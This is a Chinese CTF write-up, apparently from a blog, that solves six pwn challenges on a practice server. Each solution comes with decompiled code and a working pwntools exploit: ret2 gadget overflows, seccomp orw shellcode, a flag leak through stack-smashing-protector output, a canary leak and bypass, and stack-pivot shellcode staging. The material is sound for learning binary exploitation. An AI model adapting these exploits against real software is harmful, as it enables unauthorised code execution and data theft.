pwn
Find Tools

没有附件,只给了远程环境,目的是让我们使用pwntools工具,exp如下:
from pwn import *
p=remote('pwnto.fun',9999)
p.recvuntil("password:")
p.send('l1ve_l0ng_and_pwn') #此处不能使用sendline(引入'\n')
p.recv()
print p.recv #!将接收到的flag打印出来
#p.interactive() 这道题只是发送和接收包,flag是通过接收得到的,而不是通过拿到shell得到的,所以并不需要交互
pwntools IO模块使用:
p.send(data) #发送数据
p.sendline(data) #!! 发送数据和'\n'
p.recv(numb=2048,timeout=default) #接收指定字节和超时的数据
p.recvline(keepends=True) #接收一行数据
p.recvuntil("...",drop=false) #接收数据直到我们设置的标志
p.recvall( ) #一直接收到EOF为止
p.recvrepeat(timeout=default) #持续接收直到EOF出现或超时
p.interactive( ) #得到shell后进入交互模式
Baby rop
查看保护:

开启了NX保护,rop解决,exp如下:
from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10000)
payload='a'*0x88+p64(0x400618)
#p.recvuntil('me?\n')
p.send(payload)
p.interactive()
注:
1.开启了NX保护,我们不能利用在数据域上的/bin/sh:

但是题目留了gadgets:

2.一开始按照代码逻辑应该是先puts( )的,但是nc连接测试后发现需要我们先输入,故直接发送payload即可
3.gets( )和read( )函数对应sendline( )&send( )的情况
Baby Shellcode
首先查看保护:

没有canary保护可以直接栈溢出,64位反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rsp+0h] [rbp-30h]
void *buf; // [rsp+28h] [rbp-8h]
buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400999();
sub_400956();
puts("A simple shellcode for U, have fun!");
read(0, buf, 0x64uLL);
puts("Why not play CSGO?");
read(0, &v4, 0x64uLL);
return 0LL;
}
其中,
void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)
start:要映射到的内存区域的起始地址,通常用NULL,表示由内核来指定该内存地址。所以我们看到buf指向从地址0x123000开始的一段内存,同时有两个可以利用的read函数,大致思路应该是:先向buf指向的内存中注入shellcode,再利用第二个read函数栈溢出执行我们的shellcode。
发现有hint:

和HitconTraining-LAB2极其相似,留了后门函数但是无法实现:

这是因为程序中开启了seccomp保护:

seccomp是一种内核中的安全机制,正常情况下程序可以使用所有的syscall,而使用了seccomp后我们可以禁用一些syscall。hint中提示我们只能使用open\write\read三个函数(orw),所以我们的任务就是注入通过open\write\read读取flag文件的shellcode,exp如下:
from pwn import *
context(arch='amd64',os='linux')
#生成64位下的shellcode
p=remote('pwnto.fun',12300)
#p=process('./RushB')
shellcode = shellcraft.pushstr("flag")
#根据hint,flag和bin在同一目录下
shellcode += shellcraft.open("rsp")
shellcode += shellcraft.read("rax", "rsp", 0x30)
shellcode += shellcraft.write(1, "rsp", 0x30)
#ssize_t read(int fd, void *buf, size_t count);
#ssize_t write (int fd, const void * buf, size_t count);
p.recvuntil("A simple shellcode for U, have fun!\n")
p.send(asm(shellcode))
shellcode_addr=0x123000
p.recvuntil("CSGO?\n")
payload='a'*0x38+p64(shellcode_addr)
p.send(payload)p.interactive()
Baby Canary
如题,开启了canary保护和NX保护,这说明我们不能使用正常的栈溢出,

64位反汇编:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // ST08_8
int fd; // [rsp+4h] [rbp-2Ch]
char v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
init();
fd = open("flag", 0);
if ( fd < 0 )
{
printf("Not find flag, Wrong!");
exit(0);
}
buf = malloc(0x20uLL);
read(fd, buf, 0x10uLL);
puts("Rop is easy for U, try bypass the check!");
printf("Here is your key: %p\n", buf);
puts("Say something before leaving.");
gets((__int64)&v6);
printf("I hava received your message, bye!");
return 0;
}
其中,buf指向一段内存空间,flag文件的内容读入到了这段内存空间中,同时给了我们key,也即内存空间(flag文件内容)的地址。
在学长的hint下才有了解题的正确方式emmm,wtcl,其实这道题和上一道有一点相似之处在于我们不需要get shell,只需要读取flag文件内容。根据这两点,其实我们不需要执行key,而是得到key中存储的内容,这就排除了泄露\爆破canary的做法。所以这道题是触发canary,执行__stack_chk_fail( )函数,泄露出flag内容,原理如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
从__stack_chk_fail( )函数定义中可以看出,报错信息会打印出__libc__argv[0]中存储的字符串, 如果我们将其覆盖成key值,就能打印出flag了。
在main( )函数下断点:

看到RSI寄存器中存储了参数__libc__argv[0],我们需要将其改成key,

从IDA中得到我们输入的字符串距离栈底ebp 0x20,通过|rbp-20h-rsi|的值来得到正确的偏移量,于是exp如下:
from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10007)
p.recvuntil("key: ")
flag_addr=int(p.recv(8),16)
#64位接收8个字节
#print flag_addr
payload='a'*0x108+p64(flag_addr)
#0x108就是我们的偏移量
p.recvuntil("leaving.\n")
p.send(payload)
p.interactive()
Easy canary
最常见的canary泄露套路,关键部分:
unsigned int fun()
{
char buf; // [esp+8h] [ebp-20h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("The is a baby rop ! Hava fun!");
puts("So, do u have anything to tell me?");
read(0, &buf, 0x32u);
puts("Here is your gift: ");
puts(&buf);
puts("Keep try!");
read(0, &buf, 0x64u);
return __readgsdword(0x14u) ^ v2;
}
利用read( )函数触发canary保护机制后利用puts(&buf)函数泄露canary的值,利用第二次的read( )函数覆盖canary绕过保护,利用程序中的root函数(gadgets)实现栈溢出拿到shell,exp如下:
from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10001)
payload1='a'*(0x20-0xC)
p.recvuntil("me?\n")
p.sendline(payload1)
p.recvuntil("gift: \n")
p.recvuntil('a'*20)
canary=u32(p.recv(4))-0xa
print hex(canary)
p.recvuntil("try!\n")
payload2='a'*(0x20-0xC)+p32(canary)+'a'*0xC+p32(0x08048647)
p.send(payload2)
p.interactive()
注:此处我们必须发送多发送一个字节触发canary保护才能实现泄露.
Not bad
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}
程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:
int sub_400A16()
{
char buf; // [rsp+0h] [rbp-20h]
puts("Easy shellcode, have fun!");
read(0, &buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用构造rop,执行read函数,读入shellcode到分配的内存上,利用

栈迁移执行shellcode,exp如下:
from pwn import *
#p=process('./bad')
p=remote('pwnto.fun',12301)
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(p)
#jmp_rsp的地址
jmp_rsp_addr=0x0000000000400a01
#read(0,0x123000,0x100)
#x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数
shellcode='''
xor rdi,rdi
push 0x123100
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''
#利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转
sub_jmp='''
sub rsp,0x30
jmp rsp
'''
#劫持rsp到具体的地址
#此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现
jmp_123100='''
push 0x123100
pop rsp
jmp rsp
'''
#将shellcode存放于0x123100处并劫持rsp进行执行
read_addr=asm(shellcode)+asm(jmp_123100)
#栈溢出
payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)
p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload1)
#open(const char *filename,int flags,int mode) x64下调用号2(rax)
#push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
open='''
push 0x67616c66
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''
#read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''
#在syscall read时注入shellcode
payload2=asm(open)+asm(read)+asm(write)
p.sendline(payload2)
p.interactive()
来源:https://www.cnblogs.com/Theffth-blog/p/12234947.html